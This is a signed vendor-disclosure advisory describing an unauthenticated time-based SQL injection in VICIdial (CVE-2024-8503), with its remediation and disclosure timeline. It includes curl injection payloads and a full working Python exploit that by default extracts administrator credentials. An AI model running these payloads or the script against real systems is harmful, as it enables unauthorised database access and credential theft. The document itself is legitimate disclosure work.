-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2024-011: VICIdial Unauthenticated SQL Injection Title: VICIdial Unauthenticated SQL Injection Advisory ID: KL-001-2024-011 Publication Date: 2024-09-10 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt 1. Vulnerability Details Affected Vendor: VICIdial Affected Product: VICIdial Affected Version: 2.14-917a Platform: GNU/Linux CWE Classification: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') CVE ID: CVE-2024-8503 2. Vulnerability Description An unauthenticated attacker can leverage a time-based SQL injection vulnerability in VICIdial to enumerate database records. By default, VICIdial stores plaintext credentials within the database. 3. Technical Description VICIdial is an open-source contact center suite, mainly used by call centers. The "vicidial.com" website boasts over 14,000 registered installations. There is a public SVN repository to access the source code, as well as an ISO that can be used to install the software. The ISO was used in a virtual machine for testing purposes. When performing SQL queries, VICIdial does not use prepared statements, but instead uses the "preg_replace" PHP function to remove problematic characters in user-controlled input before interpolating the variable into a SQL query. This is largely an effective solution, as regular expressions like "/[^-_0-9a-zA-Z]/" are passed to "preg_replace", which essentially limits input to the characters shown in the pattern (letters, numbers, underscores, and hyphens). However, these scripts do not utilize a shared PHP file for performing sanitization uniformly. Instead, each script individually implements the "preg_replace" function, leading to inconsistencies in which patterns are used and where they are applied. For example, providing credentials via the "Authorization" request header using the "Basic" scheme, most PHP scripts sanitize the username value with the following line: $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/','',$PHP_AUTH_USER); However, the "VERM_AJAX_functions.php" PHP script does not perform any sanitization before inserting the username into a SQL "INSERT" statement: $PHP_AUTH_USER=$_SERVER['PHP_AUTH_USER']; $PHP_AUTH_PW=$_SERVER['PHP_AUTH_PW']; ... if ($function=="log_custom_report") { $rpt_log_stmt="insert ignore into verm_custom_report_holder(user, report_name, report_parameters) values('$PHP_AUTH_USER', '$custom_report_name', '$LOGhttp_referer') ON DUPLICATE KEY UPDATE report_name='$custom_report_name', report_parameters='$custom_report_vars'"; $rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link); return mysqli_affected_rows($rpt_log_rslt); } Since "VERM_AJAX_functions.php" can be accessed without authentication, this creates a straight forward unauthenticated SQL injection vulnerability. While the page response cannot be manipulated by the execution of the query, delays in the page response can be observed when using SQL functions such as "sleep()", enabling the enumeration of database values using time-based SQL injection: $ time curl -u "foo:bar" \ http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report real 0m0.019s <--- (normal response time) user 0m0.004s sys 0m0.008s $ time curl -u "','',sleep(5));#:bar" \ http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report real 0m5.023s <--- (5-second delay in response time) user 0m0.003s sys 0m0.008s This observable difference can be used to craft queries that sleep under specific conditions, allowing an attacker to ask "Yes or No" questions. In the following example, the "sleep()" function is called only if the provided string matches the database version: $ time curl -u \ "','',IF(@@version='korelogic',sleep(5),NULL));#:bar" \ http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report real 0m0.024s <--- (normal response time) user 0m0.006s sys 0m0.003s $ time curl -u \ "','',IF(@@version='10.6.14-MariaDB-log',sleep(5),NULL));#:bar" \ http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report real 0m5.019s <--- (5-second delay in response time) user 0m0.004s sys 0m0.008s 4. Mitigation and Remediation Recommendation This issue has been remediated in the public svn/trunk codebase, as of revision 3848 committed 2024-07-08. 5. Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. 6. Disclosure Timeline 2024-07-05 : KoreLogic requests security contact from support@vicidial.com. 2024-07-08 : KoreLogic reports vulnerability details to VICIdial contact. 2024-07-08 : VICIdial notifies KoreLogic that the issue has been remediated with revision 3848 in the public Subversion repository. 2024-07-11 : KoreLogic confirms this vulnerability has been remediated. KoreLogic asks VICIdial if it is appropriate to publicly disclose the vulnerability details at this time. 2024-07-11 : VICIdial requests four weeks of embargo in order to upgrade supported customers. 2024-08-05 : KoreLogic asks VICIdial if it is appropriate to publicly disclose the vulnerability details at this time. 2024-08-09 : VICIdial requests an additional two weeks of embargo. 2024-09-10 : KoreLogic public disclosure. 7. Proof of Concept The following script can be used to automate the exploitation process and enumerate the results of provided queries: $ time python unauth_sqli.py -rh vicidial.zz -rp 443 -q 'SELECT @@version' [+] Target appears vulnerable to time-based SQL injection [~] Executing SQL: SELECT @@version [~] 1 [~] 10 [~] 10. [~] 10.6 [~] 10.6. [~] 10.6.1 [~] 10.6.14 [~] 10.6.14- [~] 10.6.14-M [~] 10.6.14-Ma [~] 10.6.14-Mar [~] 10.6.14-Mari [~] 10.6.14-Maria [~] 10.6.14-MariaD [~] 10.6.14-MariaDB [~] 10.6.14-MariaDB- [~] 10.6.14-MariaDB-l [~] 10.6.14-MariaDB-lo [~] 10.6.14-MariaDB-log real 0m6.727s user 0m0.425s sys 0m0.020s ############################## ## unauth_sqli.py ## ############################## import string import random import urllib3 import argparse import requests from base64 import b64encode urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Exploit: def __init__(self, rhost, rport, proxy=None): """ This 'sleep' duration is derived by the average response time multiplied by this value. A server with an average response time of 10ms is given a 'sleep' duration of 300ms. Tune as needed. """ self.SLEEP_MULTIPLIER = 30 self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'} self.ALLOWED_SCHEMES = ['http', 'https'] if proxy: self.REQUEST_PROXIES = { 'http': proxy, 'https': proxy } else: self.REQUEST_PROXIES = {} self.TARGET_IP = rhost self.TARGET_PORT = rport self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!' self.RANDOM_CHARSET = string.ascii_uppercase + string.digits # returns a URI with 'http' or 'https' def determine_target_uri(self): for scheme in self.ALLOWED_SCHEMES: target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}' try: response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False) if self.VICIDIAL_FINGERPRINT in response.text: return target_uri except: pass # returns a session object with custom proxies/headers if supplied def build_requests_session(self): self.base_uri = self.determine_target_uri() session = requests.Session() session.proxies = self.REQUEST_PROXIES session.verify = False return session # returns a random string of a given length def random(self, length): return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length)) # returns a timedelta representing the response time of an injected SQL query def time_sql_query(self, query, session): username = f"goolicker', '', ({query}));# " credentials = f'{username}:password' credentials_base64 = b64encode(credentials.encode()).decode() auth_header = f'Basic {credentials_base64}' target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php' request_params = {'function': 'log_custom_report', self.random(5): self.random(5)} request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header} response = session.get(target_uri, params=request_params, headers=request_headers) return response.elapsed # returns a boolean if time-based SQL injection is possible, additionally # sets the best 'sleep' duration based on response times def is_vulnerable(self, session, baseline_iterations=5): # determine average baseline response time zero_sleep_query = f'SELECT (NULL)' total_baseline_time = 0 for _ in range(baseline_iterations): execution_time = self.time_sql_query(zero_sleep_query, session) total_baseline_time += execution_time.total_seconds() average_baseline_response_time = total_baseline_time / baseline_iterations self.sql_baseline_time = average_baseline_response_time # determine if injected sleep query impacts response time sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2) sleep_query = f'SELECT (sleep({sleep_length}))' execution_time = self.time_sql_query(sleep_query, session) if execution_time.total_seconds() >= sleep_length: self.sql_sleep_length = sleep_length return True else: return False # determine if a character at a specific indice of a query result returns a # boolean 'true' when compared to a given character using the supplied operator def check_indice_of_query_result(self, session, query, indice, operator, ordinal): parent_query = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)' execution_time = self.time_sql_query(parent_query, session) return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER) def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable): # convert charset to ordinals all_characters = sorted([ord(char) for char in charset]) reduced_characters = all_characters # use a binary search and enumerate query results result = '' indice = 1 indice_could_be_null = True while True: """ we check if the value is NULL once per indice to determine when a string ends. this adds one request per indice, but since every boolean 'true' results in a delay this is faster than counting the length of the string before enumrating. """ if indice_could_be_null: if self.check_indice_of_query_result(session, query, indice, '=', '0'): break else: indice_could_be_null = False # enumerate each character of query result with a binary search middle_indice = len(reduced_characters) // 2 middle_ordinal = reduced_characters[middle_indice] if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal): if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal): reduced_characters = all_characters result += chr(middle_ordinal) indice += 1 indice_could_be_null = True print(f'[~] {result}') else: reduced_characters = reduced_characters[:middle_indice] else: reduced_characters = reduced_characters[middle_indice:] return result # returns administrator username and password by # exploiting time-based SQL injection. def extract_admin_credentials(self, session): print('[~] Enumerating administrator credentials') username_charset = string.ascii_letters + string.digits admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1" admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset) print(f'[+] Username: {admin_username}') password_charset = string.ascii_letters + string.digits + '-.+/=_' admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1" admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset) print(f'[+] Password: {admin_password}') return admin_username, admin_password # injects SQL queries and enumerates results if instance is vulnerable def exploit(self, custom_query=None): session = self.build_requests_session() is_vulnerable = self.is_vulnerable(session) if is_vulnerable: print('[+] Target appears vulnerable to time-based SQL injection') else: print('[-] Failed to perform time-based SQL injection') return if custom_query: print(f'[~] Executing SQL: {custom_query}') self.enumerate_sql_query(session, custom_query) else: self.extract_admin_credentials(session) if __name__ == '__main__': argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi') required = argparser.add_argument_group('Required Arguments') optional = argparser.add_argument_group('Optional Arguments') required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address') required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number') optional.add_argument('-q', '--query', required=False, help='Custom SQL query to execute', default=None) optional.add_argument('-p', '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', default=None) arguments = argparser.parse_args() exploit = Exploit( rhost = arguments.rhost, rport = arguments.rport, proxy = arguments.proxy ) exploit.exploit(custom_query=arguments.query) The contents of this advisory are copyright(c) 2024 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy -----BEGIN PGP SIGNATURE----- iQJOBAEBCAA4FiEEB12WYZwbVwYTJ/b2DKLsCTlWkekFAmbgm1gaHGRpc2Nsb3N1 cmVzQGtvcmVsb2dpYy5jb20ACgkQDKLsCTlWkenMFQ/+JMm3fGfXFFfDd3oamH8W FG1VNc2T8+Ea0OCu+iFALgmu90ghhxVM/cqaMtOm25NMqvT1pi9VQaIaA5+Ft+c+ 7dnhYmRqpJWSPVU5Xxvq5Pt8wrNAp6u1I1c/i6y30OgB2Y3rFaJgxjbbTh8JYgWB uWVtuUrHaWOAU+KHiy9ZbZ4WsnCGUyi71FdO6QC2Acw3qr4Hz+sg0GxIoNi9jqHo tUWQfAbOKiSPUt0CyipIRQrJFBUL0wF3bATprCuORf/3j07dL9LaBl7gy0mQau4k 9SR/RsCxB0wHMdZALhK3RjJqk1gI0wNgVmlRjuumD5d6S4Gk0lXpCgzj4vdciHAH V9qGue67sHSspVxQQV08zHrTlh95RF+0HnSlKlSHDfcP7t3BelYVHdHsRkioGQ6N UBJZuGtwP6/89TLTCULncl4+H0mRXSmMLWM55O2/pSUNHUO85bI7OmXWflJdjItZ 2gCc++u0zYlubFuEhB5qfP6tnEAfOOfVGY0wlnN5nAHlKzqrcdcmK1Uuzk6Ztu5T SWPMAsroU+GtuZhAcYGpVZTw/lNA3SBRCrJ8RHfWJNjIaZA9OMR2L2iLiDF8KuI3 QN6m2YV/ZCSTGXPmEjt9Lho/mtWUb6SR6guLHR0viATscYU/pe+WX+kCUaAKavVp gVpFTMBa64wxLnJev31Japs= =zl7U -----END PGP SIGNATURE-----